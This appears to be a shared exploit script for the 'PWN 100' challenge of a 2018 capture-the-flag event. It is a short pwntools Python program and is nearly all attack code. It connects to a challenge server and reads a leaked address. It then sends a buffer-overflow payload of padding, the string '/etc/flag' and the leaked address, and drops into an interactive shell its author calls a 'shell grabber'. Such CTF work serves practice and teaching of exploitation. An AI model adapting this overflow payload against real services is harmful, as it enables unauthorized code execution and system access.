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March 31, 2018 19:13
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HACK in CASABLANCA CTF - PWN 100
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| #!/usr/bin/python | |
| from pwn import * | |
| #Dirty script but respect it its a shell grabber ;) | |
| r = remote("172.21.2.200",3333) | |
| r.recvuntil(":") | |
| leak = int(r.recvline().split(",")[0]) | |
| payload = "A"*48 | |
| payload += "/etc/flag\x00" #Pass the strcmp / #\x00 to not break cmp | |
| payload += "B"*114 | |
| payload += p32(leak) | |
| r.sendline(payload) | |
| r.interactive() |
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